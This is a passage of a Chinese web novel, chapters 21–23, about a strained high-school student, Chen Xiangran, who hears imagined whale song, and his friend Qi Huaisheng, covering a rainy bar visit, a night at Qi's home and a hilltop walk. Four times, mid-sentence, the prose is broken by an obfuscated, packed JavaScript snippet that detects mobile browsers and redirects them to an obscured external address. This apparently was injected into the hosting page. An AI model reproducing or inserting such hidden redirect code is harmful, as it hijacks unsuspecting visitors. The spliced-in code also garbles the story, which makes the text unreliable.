“我看你才病得不轻。”张士拎住他的衣服，把他扯到面前。 “对，我病。这么搞谁都得病。” “你嗷嗷喊，除了丢人还能干嘛？” “想喊的不止我一人。”他用力指向身边高耸庞大的教学楼，“这里，还有高二，全校，都他妈不服！学校这么搞有个毛的用？” 他一个劲冲着一群老师撒气。陈向然听见一楼人群都在感叹，一边感叹他是个勇士，一边感叹他爸是教育局的才这么勇。 山里天气多变，天光几乎在刹那间黯淡。 张士在那唱.红脸，其余老师出声劝抚，但没有一个敢直接把他拎走。严霖辉叹了口气，站出来拍拍他的肩，充当在场的老好人，低声和他沟通。 忽而一声雷鸣，如千军万马过境，从东向西隆隆滚去。 “要下雨了都进去都进去。”老师们挥着手，赶鸭子似的把广场上的学生都赶进架空层。 陈向然还站在原地。严霖辉回头就见他孤零零地倚靠在柱子上。 他走过来，拢着陈向然的后背说：“走吧，别站在这。” “嗯。” 他闷着张发青的脸，额角还有湿漉漉的冷汗。严霖辉观察了他好一会：“怎么啦？你也想现在取消午自习？”他玩笑一样地说。 陈向然稍稍偏过头——小广场上的人已散，孙临潼跟着政教处的老师走了。他重新看着眼前，台阶笔直地伸进阴影中。 “这样的午自习，会有用吗？”他问。 “看以往数据，那是很有用。”严霖辉和他一起拐进下一层楼，“三个年级的平均分都会有质的提升。谁都不比谁聪明，靠的就是谁下的功夫多。不然大家，当初怎么会抢着来这儿呢？对吧？” 楼梯间里都是老师们的议论声。他和严霖辉走在最后，一直到办公室，都没有说话。 发觉要回去上课了，他最后问严霖辉：“这周日开始排练吗？” 严霖辉扭头看他，定住了几秒。 “下周日开始。你的艺考培训只能暂停。” 这样的暂停，无异于选回普通高考。陈向然只是看了看一地栏杆的影子，网笼一样的，投在他白色的球鞋上、蓝白色的校裤上、裸露的手臂上…… 他问几点开始。 严霖辉说早上九点，去一楼阶梯教室，音乐老师会在那里等大家，记得带上你的萨克斯。 周六这天他在书声园的草坪上，捡了长石凳坐下，手里捧了本单词书。 拉行李箱的学生浩浩荡荡从校门涌出，被各自家长领回家。边上有人被训斥了，因为周考成绩不理想；路过的女生被母亲摸着头亲了一口，说不能松懈，要继续努力。 他一个人坐在空旷处，冷风吹动他的衣襟。整个学校就快走光了。 有人拉着箱从小路拐进来，是程希，他在草坪边缘踮起脚和他招手：“然哥，你真不去了呀？你今天可以跟我一起上两节课嘛。上完了我让李叔送你回校。” 陈向然合上书，站起来：“不麻烦了。替我跟陆老师说一声。” “你怎么啦？”程希凑近他，细细打量，“脸色这么差，我给你的胃药没作用？” “没用。”陈向然言简意赅。 他觉得自己病了，怀疑身体哪里出了问题。胃腹、胸腔、头腔，这些地方总有反反复复的毛病。他试着晚一点起床，至少跟随五点半的起床铃，但几乎不可能。最晚五点钟，在全楼起床的震声中醒来，开始又一天匆忙走跑的生活。 “我爸说，药没用，是你身体没大问题。放松点就好了。”程希笑着拍拍他的臂膀，“我走啦。” 他目送程希走出校门被司机接走，揉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301939|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉太阳穴。 鲸鱼总是瞅着他最虚弱的时刻闯进来。他不禁想，自己究竟是什么时候开始，想象鲸鱼的吟唱声的。 钥匙转动，他推开宿舍的门。 宿舍阴暗发冷，他站在床边，摘校章的手一顿，才想起忘了去食堂吃饭。 于是蹲下，从床底拉出行李箱，偷偷掏出宿舍区严禁出现的方便面，正打算撕开，停下了动作。 不知道齐怀生现在在哪呢？ 天光黯淡，从阳台门切进一个三角光域，灰白色的锋芒直指他的脚掌。他蹲在阴影里，抱着一盒泡面。 他知道自己有点依赖齐怀生了，对这种依赖他人的感觉还有点陌生。 齐怀生那么高傲，词典里从没有“依赖”这个词。所以他也放不下那丝骄傲的心思。 去找人，得有个理由。 他来到小卖部，挑了一条质地相对柔软的毛巾。刚买完就下了雨。冷风裹挟雨丝泼进檐下，他拿上伞，在宿舍区里迂回路径，偷偷从同样的地方翻了墙。 天地湿冷潮寒，陈向然给自己加了件外套。攀墙的时候蹭湿了，跳下去没站稳，沾了一身草根和尘土。走到街上感到头顶发凉——他拿的是那把旧伞，破两个小洞。趁着手里的新毛巾还没湿，他拉开校服外套的拉链，塞进去保护好。 齐怀生不在巷口——两天不见，他也没期望齐怀生今天还来接他。 他烦躁地甩了甩头，冲进雨里。沿路水流簌簌，大雨轰鸣坠落。把雨棚、空调机、看不清字的旧广告牌都捶打出哀鸣声。 他跑进了巷头酒吧。 雨伞湿漉漉地盘起，吊挂在门口。推开门，店里只有那么零星两桌，谭持不在吧台。他绕到角落“专座”，瘫坐下来。 店里的人朝他投来目光，于是他审视了一下自己——外套很脏，头上、脸上还淌着几颗雨珠，痒痒的，伸手抹去，雨水里还夹着土灰。 他已经很累，无暇顾及，只是倚着椅背，眯一会眼睛，一点不想考虑下周的省赛排练。 海中的活动很丰富，器乐比赛、文化节、社团集会……宣传册上，每一样看上去都充满激情。陈向然那时慕名而来，然后被告知：参加学校活动是为了省赛奖项，为了校荐信，为了自主招生或出国手续。不为了陶冶身心，也不为了培养创造。 那些都太空了，远没有学历、升学率和招生噱头来得实在。 手一垂，探进椅子和落地窗之间的缝隙。没想到里面还藏着他的画具，和他之前画过的白色少年。谭持把他的东西又放回来了。 他登时就明白，酒吧生意又不行了，齐怀生没有再回来过。 细碎的事情太多，没有一件足以压垮一个人，堆叠起来却是不可逆的折磨。他拿起画具，端起颜料，鬃毛笔一挥，蓝色、棕色、黑色、灰色，把心里的怪兽宣泄到了画纸上。 不知为什么，他忽然害怕自己有一天被这些怪兽吞噬。它们愈来愈凶猛，愈来愈面目可憎，与他同在，避无可避。 放笔的一刻，他听见一个声音：“画完了？” 一抬眸，看见一双浮着血管的、指尖圆润的大手。那双手拨弹过温柔的吉他，也握过小刀抵住小混混的咽喉。 他抬头——是齐怀生。 21. 交易 黑云翻山，阴雨连绵。 落地窗玻璃上淌过涓涓细流，他看到齐怀生的电动车就停在店外，套了防雨套。隔着玻璃，被流过的雨水折射成扭曲的影像。 转回头，酒吧有一盏灯是坏的，光线微弱，将齐怀生的脸蒙了一层极深的、橙黄的光晕，朦朦胧胧，忽远忽近。 他问他是不是画完了。 “嗯。”陈向然一看见他便放松下来，一放松，就有些晕乎。中午没吃饭，胃腹撑不住了。 齐怀生拉开他对面的木椅坐下：“从墙那里跟你到这，没发现？” 今天是周末，还下了雨，陈向然断以为他中午不会来等了。只匆匆扫一眼，没太留意。 “周末也在学校？”齐怀生问他。 明知他可能不会在校，还是来等了。 陈向然说：“艺考培训取消了。我……” 他踌躇着没下文。齐怀生的目光一直逡巡在他的画上，其中一幅色彩明朗，少年身姿昂扬；另一幅是他堪堪完成的深海恶兽，抽象模糊，色调暗沉、阴郁。 “你什么？”齐怀生瞅着那幅海兽画，眼神暗下来，表情不太好看。 “我……毛巾还没还你。”陈向然挤出一丝笑，拉开拉链，从怀里掏出毛巾递上，“小卖部买的，给生哥脸部磨砂用。” 齐怀生哭笑不得地接过毛巾，说：“还个毛巾至于把自己变成熊猫？” “什么？” “脸煞白，眼圈黑。无精打采，谁欠你五百万似的。”他拨去陈向然头上沾的一丝草根，“怎么？毛巾买贵了？” 陈向然：“……” 这时候安静的小角落里响起“咕噜噜”的声音，陈向然低头看着画，手却捂住了肚子。 齐怀生一挑眉：“这个点还没吃饭？” 陈向然说：“雨太大，算了。” “那就在这吃。”齐怀生一拍桌子，朝里面喊，“谭哥，贵客来了啊。” 声音太大，惹得店里其他客看了他一眼。 谭持这才从里屋出来。走得急，白衬衫的下摆不多不少悬着半边，来不及塞进裤腰里去，就去拿菜单：“哦嚯，陈向然，好久没见你啊。” 陈向然拿过菜单，上面不只有酒、饮料和小吃，多了炒饭、烤物等等。他看了一会菜色，纳闷地摸摸后脑勺：“好久没见我？”细细算来，这句话应该对齐怀生说。 “还不够久啊。小齐还偶尔能见着。就是他这几天又来不了，被看住了——对吧，小齐？” “嗯。”齐怀生看向杂乱的小舞台，那上面堆了几个空纸箱，话筒架被乱七八糟的电线缠着，靠着墙角。吉他和谱子不在这，被谭持收进里屋去了，“正好有空。谭哥，我可以来一曲。” “啊……那可真不凑巧。”谭持挠挠短发，“宣传没做呢。门口的广告被雨淋湿了，阿荧去找人重做。” “就是要猝不及防。”齐怀生推开椅子站起来，去里屋搬出吉他，划动琴弦，音色清脆动听，“让想听歌的人，不知道我什么时候来，天天经过，久而久之就彻底记住你们了。” 谭持闻言笑了：“阿荧也这么说，我就和她说，你小子贵啊，不捞回本咋行呢。” “那也是您亲自给我拔的工钱。谭老板。” “可别，老板姓李。给你拔工钱那是有人投资知道吧。”他故意说得明明暗暗，从眼角瞟一眼陈向然，又打着响舌逛回吧台。 “不能只看眼前的本钱嘛。”陈向然横插一句，“你可以相信小齐，瞧他多能干。” 齐怀生擦着吉他上的灰尘，斜觑他一眼。 “没大没小……”嘀咕完了跑上舞台，摆好高脚椅、话筒，连接电线，清理掉台上的杂物。谭持去后台给他开灯光。 酒吧的灯熄灭，只留下吧台的照明。紧接着齐怀生头上蓝紫色的灯亮起。 这一瞬间，喧哗敛去。 他垂下暗沉的眼眸，修长有力的手指轻拨琴弦，是陈向然从没听过的歌。 齐怀生似乎很喜欢演奏这样的音律。零碎的音符掠过荒芜的土地，踩上海潮涌动的礁石。他先前的曲子都带着流浪者的苦楚与温柔，仿佛听见老故事里麻衫布裤的桀骜少年，远渡重洋流浪异邦，在一切脏乱的地方讨生活。而今天调子一转平过，是新的风格。他听见潺潺的溪水流过，独自一人走在溪边金黄柔软的落叶上，发出沙、沙的摇篮曲。夜风如棉絮吻在叶尖上，不落痕迹地向山丘上飘去。 陈向然忍不住朝他望了几眼——齐怀生垂着眼睫，视线在按弦和拨弦的手之间来回，灯光将他的瞳孔映衬得朦胧飘忽。陈向然觉得自己也飘忽起来，心脏像被一只柔软的手轻轻按摩，慢慢平静下来。 他吃着谭持送来的炒饭，里面有蛋、胡萝卜、玉米、豌豆、火腿、鸡肉，用料很足，五颜六色的，像他的调色盘一样。 味道太鲜美，他狼吞虎咽起来。 旋律像一叶悠悠的小渔舟，他乘坐其上，在平静的海面上漂游。他看见灯塔，和摇篮一样的海面，看见银月碎影。小舟不知漂了多久，流水的尾音一收，徐徐靠岸。四周仍是宁静的夜。 一曲终了，酒吧静了片刻，对面两桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301940|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客人鼓起了掌。陈向然跟着鼓掌的节奏敲饭盘。齐怀生放下吉他走来，轻声问：“怎么样？” “好听。”陈向然说。 “喜欢？” “很喜欢。” 齐怀生满意地勾起嘴角：“昨天刚写的。” “你会写歌？”陈向然有点意外，“用的什么软件——” “当啷”一声…… “件”字没说整，陈向然勺子脱手，落在瓷盘里，他猛地弯腰捂住了胃部。 只是一阵突如其来的痉挛，很快停息了。 他看看只余几粒饭粒的盘子，艰难地笑着挤出话：“吃太多了。谭哥手艺太好。” “就这么一小盘也叫吃太多？”齐怀生敲敲他的盘子，“有药没？” “没有。” “那边有家药店，买点常用药。” “不用了。我该回去了。”陈向然站起来。他的外套干了一半，尘土还是粘在上面。天气太冷，他捂得难受也没脱下，“先走。” 他尝试过把自己变成药罐子，或遵医嘱或听他人意见，各种常用药试了一遍。现在不愿意随便用药了，这些药根治不了毛病。 打开酒吧的门，冷风“呼呼”地灌进来。他眯起被吹疼的眼睛，从外面关上了门。拎了那把漏洞的伞，撑起来，给破洞塞上两团纸巾，走进雨里。街边有杂货店，他要先去换把好伞。 “等一下。”齐怀生出声拦他。 他回头，雨伞和齐怀生的碰撞在一起。齐怀生伸手摁了他的收伞键，把他拉到自己伞下。 “我又有事想向你打听。”齐怀生说。 陈向然无奈地弯下眉眼：“非要这种时候扣押我嘛？” “哪种时候？” 陈向然不答。 又是淋雨又是饿肚子，加上这两天身体肉眼可见地虚弱下去，课桌上常常出现他掉下的碎发，还有脑海里频频袭来的鲸鱼。他再怎么轻松地耍嘴皮子，狼狈也几乎写在脸上了。 最后的硬气就是闭口不言。 齐怀生别开视线，看着雨幕：“学校查得严？” “周末宽松一些，但是——” “今天不跟你打听，明天你又不知道哪儿去了。” 轻飘飘的一句话，微风游丝一样。陈向然却像听了刚刚的曲子似的，乱了一瞬，忽地抬眼看他。 仿佛看到他总在那个空无一人的角落，漫无目的地等待着。 “老规矩，你可以提任何要求。”他又直直地看向陈向然，捻去脏外套上的沙砾，“去我家换件衣服也行。” 22. 独处 齐怀生家在镇上某条窄巷里，离石中不远，毗邻那条烟火气最浓的美食街。巷子三米来宽，勉强容两人肩抵肩并排走过，里面是个大约七十平米的天井，再往前便横穿过另一条相对宽敞的小巷。 雨滴滴答答，天井下积水如流河。 他家就是天井里某一户，要走上一段阴暗潮湿的水泥楼梯，楼梯口是垃圾堆，气味久久不散。二楼走廊笔直隐没在黑暗里，一边是门户，一边是扭曲的栏杆。建筑朝向不好，光线昏白。家门前一副红艳艳的对联。跟邻居、对楼相互映衬，一眼望去，是这天井里唯一一种亮色。 开了门，里面空间不大。齐怀生直接带他到房间，卧室连着阳台，反倒比客厅更通风。 外面的大门像是刚换过的，崭新的防盗门，房间门却还是老式木门，把手不是轴把也不是圆把，不能拧动，只是像杯耳一样钉入一个简单的铁把。 进入这个狭小空间，齐怀生咿呀一声掩上门，走到书桌前。书桌也用过很多年了，木工粗糙，上面盖了条陈旧泛黄的格纹桌布。 他打开桌上那盏昏黄的旧台灯，紧接着从衣柜里掏出一套休闲服给陈向然，要他把脏了的校服换下来。 外套潮湿难闻的气味渐渐渗进里衣，裤子也溅了雨水。陈向然闷得不舒服，很快脱下外套扔到地上，转身就在灯前解开短袖校服的三颗扣子，双臂抬起，抓住后衣领往上一扯，露出整片后背，先脱出脑袋。 寂静逼仄的空间，只容一张床、一个衣柜、一张小书桌、一条过道。两人都很安静，只有衣物摩擦皮肤发出窸窸窣窣的声响。齐怀生静静地收拾房间，去阳台将晾晒的衣服收进来。 夜风呼啸而过，树枝密集缠绕在阳台的锈铁栏杆上，噔噔拍打。风太大，太冷，齐怀生迅速进屋，关上了阳台门。 台灯的白炽灯泡质量一般，灯光颜色很深，将陈向然的影子拉长了、拉宽了，歪曲地映在书桌上、墙上。齐怀生放下衣服，就那么抬头掀了一眼。 昏光给少年纤弱的躯体镶了层边，肩胛骨、肋骨像石川的山峦一样清晰地起伏，收作一截窄腰，没入裤腰带中，黄光映衬下更显消瘦，触目惊心。齐怀生觉得自己只需一只手臂，就能将他整个人圈起来。他站在陈向然身后凝视他的背影，不自觉探出一只手，指尖离背上起伏翕动的蝴蝶骨只一寸。 “唰”一下，陈向然套上了干净的衣服，转过身来。 齐怀生正低头折叠第二件衣服，似乎错叠了一会要穿的衣服，又抖开丢到一边。 陈向然环视四周，屋里狭小，又静得可怕。一个人居住很容易产生封闭的孤独感。他想，难怪齐怀生放了学也总是不回家，和申恺他们在外面晃，在外面学习。 “你一个人住？”他问。 齐怀生把叠好的衣服摞起来：“算是吧。” “你爸妈不在？” “我妈很早不在了。”齐怀生说。陈向然知道这个“不在”是什么意思。“我爸是渔民，年纪大，都退休了又重新跟船出海。不常来。” “退休了还干这样的活么？” “劝过了。反正我跟他，谁都不听谁的。他都不知道自己神志不太清醒，有一次把一锅鸡肉和蘑菇架在炉子上，忘了开火，说自己在做饭。就怕在海上出了什么差错。” “你没有亲人在这边么？” 齐怀生把几件衣服搬进衣柜，只是“嗯”了一声：“你呢？不培训就不回家？” 陈向然笑笑：“一样，家里没人。”他顿了一下，说：“我妈住公司，我爸……我忘了从几岁开始没再看见他。反正我妈不让我提，就当没见过吧。” 齐怀生沉默了一会。 他转身把衣服揽起，放到椅子上，挪到浴室门前：“所以，你今天为什么有空？艺考请假了？” 雨没有变小的迹象。窄巷里骤然一阵寒风呻吟着挤过，不知谁家的口杯、脸盆、塑料水瓢被刮到地上，叮当滚过。 “省的器乐赛。”陈向然说，“下周开始周末排练。” “时间冲了，还报什么比赛。” “我妈报的。” “如果你想，这两天你其实可以上一半课。”他停下手里的活，认真地看他，“或者等赛完。” “没必要。算了。” 他捧着一手脏衣服，低头看那些污渍，有一瞬间的走神。回神时，他把脏衣服轻轻摔在地上，“卟”一声，像一个沮丧的小孩丢掉坏了的玩具。 齐怀生就这么看着他，没有说话。 “借个袋子。”陈向然朝他伸手，“我装衣服回去洗。” 齐怀生的目光在他脸上多停留了一会，转身去客厅拿来一个闲置的购物袋。 “摊开晾一会再装。”他将袋子扔来，“我去洗个澡。” 夜幕笼罩大地。 齐怀生打开水泵的声音格外清晰，水泼洒着，嗒嗒落在地板砖上。 他在齐怀生的床边坐了一会，听着浴室水声，和挂钟的滴答声，有点无聊，撂起拖鞋去浴室门口，他想起一件事。 贴着浴室的门缝轻轻叫了一声：“生哥？” 里面“咣”一声，齐怀生不知掉了什么东西。 半晌才应声：“怎么啦？” “你想打听什么来着？” 浴室里的动静消失，只余水声汩汩流进下水道。 里面好像憋了很久，才挤牙膏一样说：“今天头一回看到……你完整的画。”他干咳两声，“画的什么？两幅不太一样。” “一幅是那天去你们学校，随手涂个鸦。” “中间的人不是你吧？不太像。” “不是。” “那是谁？” “生哥觉得是谁？”陈向然“砰”靠在浴室门上，笑着反问。像一只小狐狸崽扬着毛茸茸的尾巴。 齐怀生反倒不做声了，他关了水泵，不一会发出咯吱咯吱的声音，在抹沐浴露。 “另一幅是什么？”他生硬地岔开话。 陈向然沉吟良久：“一些……不太友善的‘老朋友’。” 齐怀生一直到洗完澡都没有接话，披着毛巾从浴室里出来。顺手拿过那条新毛巾，扔给陈向然：“拿去。别光换衣服，身子也擦擦。” 陈向然接下熟悉的毛巾，一时语塞。半晌一字一顿道：“这是，我给你的。” “现在我送你了。” 陈向然眉毛一挑：“这算……借花献佛？” “你用不用？” “……” 陈向然一撇嘴，大步走进了浴室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301941|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，打开水龙头，囫囵擦了遍身子。他走出来把毛巾提溜到齐怀生眼皮底下：“我们宿舍一人一个毛巾位，这条我用完就得扔，尽浪费。” “浪费什么？”齐怀生夺过他的毛巾，进了浴室。 陈向然跟到浴室门口——毛巾杆上有两条毛巾，其中一条湿润柔软，是齐怀生常用的。另外一条干巴巴的，被挤压在角落，大概是齐怀生的父亲的，很久没用，上面的深色已经泛白了。他展开陈向然的新毛巾晾上去。咋一看，像是这间屋里又多了个常住者。 他拍拍手走出来：“留着。以后来我家有得用。” 陈向然倚在门口，看着那条五颜六色仿佛很热闹的毛巾杆。 在市区的家里，浴室几乎是空的，白的砖、反光的镜子和灰的不锈钢，唯一的亮色是忘了收起来的洗手液。毛巾杆自从搬来只用过几天，已经空置了很久。 “你之前说你在江洲待过。” “嗯，待过。” “看过那边的海洋馆么？” “你喜欢海洋馆？” “没去过，说不上喜欢。”齐怀生囫囵擦了两下湿漉漉的脑袋，毛巾撇在椅背上，就是小时候，村里有人从那边回来，我听这些人说，海洋馆的‘海’，跟我们生活在海边看到的，挺不一样。” 狭小的空间静了一会，陈向然听见自己的吐息：“生活在真正的海，和生活在精美的玻璃池，当然是不一样的。” 齐怀生笑了：“看你画那么多幅海底，生活在海边总不能看到这种景色的。那只能是海洋馆的装饰。” “其实……”他低头看着脚背、拖鞋被光切割成不规则的形状，“那些东西困扰我好久了。” “我不喜欢海洋馆，从来不去。因为我有时候会听到鲸鱼在叫，叫得很凄厉、很孤独。后来我觉得，可能是我的幻想，赶不走。就想，干脆把它画下来吧，又一直看不清。” 咕嘟咕嘟的输水声，玻璃的破碎声，混乱尖叫的人的声音，像是隔了很多层幕布，最终剩下一只长吟的鲸鱼留在脑海中。 一切太难以解释，像是电影里的悬疑桥段。他不知怎的向齐怀生说了出来，已经准备好听到对方饶有兴趣的笑声。可齐怀生只是问他：“你有幻听？” “嗯。” “老何也有这种毛病。”齐怀生提起何晋，“他说他老听见尖叫声。有时是叫他的名字，普通话、方言都有；有时是骂他，说他不知道拼命，为什么不去死什么的。他天天被他爸在背后盯着学习，以至于有时候坐在安静的地方，就觉得背后有人在盯他。去过医院了，说就是压力太大。”他换了一件很薄的睡衣，趿拉着人字拖在他身边坐下，“所以说，要注意休息。” “行，休息。”陈向然把脏衣服收进袋子里，“不早了，我回去还得收拾宿舍。” 齐怀生坐在床边，两手撑着膝盖，偏头看他忙活。购物袋哗啦啦地响。陈向然动作迅速，受过准军事化学校的训练，做什么事都那么迅速。 齐怀生盯着他的侧脸，眼看衣服要装好了，才抿抿嘴，指尖戳戳他的腿：“哎，要不，今晚别回去了。” 他声音太低，太含糊，陈向然没听清：“什么？” “在学校不舒服就别回去了。”他说，“留我这睡一晚。” 23. 山顶 这一晚冷风呼号，都被门窗、墙壁和齐怀生的温度挡在外面。两个人挤在一张床上，交换着体温和呼吸，睡了个暖和觉。 这么多天来陈向然夜里入睡夜里起床，第一次在早上醒来能看见白蒙蒙的天。他迷迷糊糊往旁边摸了一下，身边是空的，齐怀生先起床了，厨房传来簌簌的水声。 早餐是齐怀生做的粥，简单加了些葱花和肉碎，淡淡的，泛着清香。家里没有专门隔离出来的餐厅，只简单在客厅一侧打了张木纹折叠桌。陈向然洗漱完坐到餐桌前，慢悠悠地吃。齐怀生说，吃完了带他去山上走走。 原来齐怀生还记得他想要去山上瞧瞧。 陈向然想起密密麻麻的学习计划，愧疚感潮涌般漫上来。但他没有拒绝。 清晨露水冰凉，坠挂在枝末草尖，整条街经过大雨洗礼，街道、水泥阶、盆栽植物、阳台栏杆，到处湿漉漉的。齐怀生带他从上回那条通往废铁厂的巷子走，沿河行一里路，有个杂草丛生的未开发地。这里的草都是浅浅的枯黄，尖上泛点灰，只有少数是苍老的绿，均匀生长，显然人迹罕至。陈向然也不知道他怎么认的路，踩过一地荒草和皱巴的烂落叶，就到一条有人修筑的石板山路上。 这座山就那么小，顺着石阶往上走，怎么都能到顶。 最后的路是一段长长的缓坡，从稀疏的参天树林一直向山顶延伸。七点多钟的早上不见人烟，偶尔有鸟鸣。一直到山上的林峰古寺，才见到几个和尚在院里伸展手脚。 山上有很多小型的断崖，高高低低，有陡峭的石阶或斜坡连接。陈向然对陌生地方好奇，四处走走看看。齐怀生在身后跟着他，偶尔拎着他的衣服把他往回拉，说这里五六米高，那边土石松动，危险的地方别去。 陈向然只好悻悻退开。 这山上也是有人家的，就藏在这些高高低低的石壁角落。看到灰瓦屋顶和格栅窗棂，陈向然不禁想起小时候住过的老房子，外观类似，还遗留了明清时期的石雕梁刻，有书文，有曲词。而这些房子只是上世纪民间建造的旧平房，错落分布，就成了一个山顶村落，院门前挂了某某顶某某号的门牌。宗族祠堂大都是居民建的，经过时会闻到里面檀香的气息，牌位前光斑飞舞，烟火长续。 “想不想去那边看看。”齐怀生指着古寺的方向。 “看到了，那个钟。”陈向然也往那个方向指。那口大洪钟就悬挂在坡上的极巅亭，蒲牢坐顶，铜褐钟身，色泽古沉、厚重。 正是它每日准时荡出沉沉的洪音，抚平人间的匆忙与焦躁。 “来吧，去看看，那上面不一样。”齐怀生拉过他的手腕——他手腕偏细，白皙的皮肤上几簇绒毛，飘着青白的经络，被他完全握在掌中。 他被拉着走，经过一段平坦的石板路，又是缓坡，眼前只剩草地和黄土，通向这片区域的最高处。陈向然感到视野渐渐开阔了，他脱出手腕，跑到山巅之上，抬头瞭望。 高空广袤无垠，长风牵着流云从北向南缱绻而过，如鸟群大迁徙一般，壮阔而浩渺。陈向然坐在草地上，头发软软地在风里扬。 这里一览众小，满目皆是连绵的草木，风一过，翠浪翻滚。东边能看到海中地理位置最高的行政楼，像一只小小的甲壳虫匍匐在绿叶上。西边有小镇街区，石中被隐没在众多建筑物里。 齐怀生挨着他坐下，一腿曲起，手肘架在膝盖上。 “怎么样，回去得画一幅？” 陈向然眼尾弯起来：“画什么？” “景，和我。” “画过了。” “什么时候？” “去你们学校看涂鸦之后。” 齐怀生想起那幅白色少年，侧过头，见某人目光里盈满笑意，灵动又带着点狡黠。 他也笑了：“真是……” 陈向然躺倒在草坪上。亭子周边的草根短，被寺里的和尚修剪过，有些粗糙，但不扎人。他闭上眼睛，就听见耳边说：“你那么喜欢滚一身土？” 挣开眼睛，微微偏头，齐怀生也躺下了，他的脸近在眼前，几乎快要额头相抵。 太近了，陈向然怔了一怔。 他别开脸，望着天空：“这里好像我老家的山。也有一个庙，一座钟。我们小孩就喜欢在山上跑，滚土里，拿树根当枕头。因为躺下看树顶的感觉不一样。日光在树叶上跳，跟白天的星星一样。庙里的和尚尼姑们都很好，我们玩累了，他们会请我们进庙坐，给口茶水喝。不过我们那的祠堂不在山上，我家的就在镇上，同一条街里。” “我记得你说，你老家在海边？” “另一边就是海，在村外。海边也很好玩，有时能抓到小螃蟹。”有草根飘到陈向然的鼻尖上，痒痒的，他正要扫去，就又被风带走了，“去江洲之后就没有这些了，只有瓷砖、柏油路，钢筋水泥，楼房高得像口井。” “我一直很想去江洲。去那边上大学、工作都行。我爸总说那里有很多商机，说不定可以把我老家的海鲜卖过去。” “你爸，不愧做生意的。”陈向然笑，“那一起吗？我们一起考江洲的学校。” “嗯，一起去江洲上大学。江洲那边的美院不错，特别是那个……” 话到一半，齐怀生意识到他已与美院无缘了，没有接着说下去。 风渐渐弱了，淡薄的朝霞完全敛去。齐怀生坐起身，看到山腰上盘了一层薄雾，有如缎带一般。身边陈向然微蜷起身子，半边脸埋在肘弯里，那么沮丧的样子——他连影子都是沮丧的，轻轻薄薄随草根飘着。 齐怀生搭上他的肩：“我家也一样，也有海。某种程度上，我对海也有感情。” 陈向然抬眼看他——这样仰视的视角，齐怀生整个侧影都融进淡蓝的天空里。 “我们那边，老一辈人对海很敬畏。出海前有仪式，先去妈祖庙祈福，然后临行前要烧稻秆熏船、要插彩旗，向诸海神祈祷风平浪静，出海的亲人平安。远海很危险的，经验不够、或者年纪太大的，一般不去太远的海域。那些人惧怕风浪，但又会把死在海上视为一种回归，回到生养自己的地方。” “也是生命初始的地方。”陈向然接道。 “嗯。我爷爷还跟我讲过当年下南洋谋生的故事。去异邦，也要过海。我爷爷当初和他哥哥一起下海，二十左右岁，没告诉父母。那时的年轻人理想，就是过海去创造自己的事业。但过海都是冒生命危险的，父母总是希望孩子安全、安稳就好，会百般阻挠。于是他们偷了家里的钱去买船票。登船那天，才看到码头送别的人潮里，有我太奶奶。启程汽笛声响那一刻才互相望见。都知道此行凶险，很可能是最后一面，眼泪都下来了。” “他们在船上就开始找事情做，给船长当临时工，替人拉帆，能挣回点路费。还没看到番邦码头，就遇上了暴风雨。我爷爷被风卷到船舷上，哥哥因为救他掉下了海。捞不到人，尸骨无存了。第一次走出家里，半路上就丢了人命。我爷爷一个人飘到异邦，在码头找了份工作，当搬运工。因为只有码头可以看到海。他给自己留存一丝希望，希望哥哥可以找到他。” “我爷爷说，他应该想到，当时家里也像他等哥哥一样在等他。后来因为战争封锁港口，信路也不通。他才终于决定拿着钱回家，回去时家里已经没有人了。问了附近的人，才知道这里曾经有过集体逃荒，是不是活着也不知道，反正没再见过。当年在码头，真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301942|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一别就是一辈子。” “这事我爷爷记了一辈子。他说他曾经后悔违背母亲的意思，去外面追逐自己的志向。但年纪大了反而想明白了，没啥后悔的。那时候穷，也不知道后来会遇上战乱，出去是死，不出去也是死。哪条路是活路其实谁也不知道。” 他顿了一顿。 “我为什么去石中的事，你听说了吧？” 陈向然说：“听说了。” “姓严的说的？” “姓申的说的。” 